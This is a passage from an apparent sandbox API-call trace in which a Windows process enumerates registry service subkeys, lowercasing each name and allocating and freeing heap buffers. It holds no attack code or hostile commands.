[0212.778] RegCloseKey (hKey=0x148) returned 0x0 [0212.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0212.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.780] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0212.780] RegCloseKey (hKey=0x150) returned 0x0 [0212.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1850, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0212.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d60, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1850, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d60, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0212.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1850, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0212.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d60, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0212.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0212.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 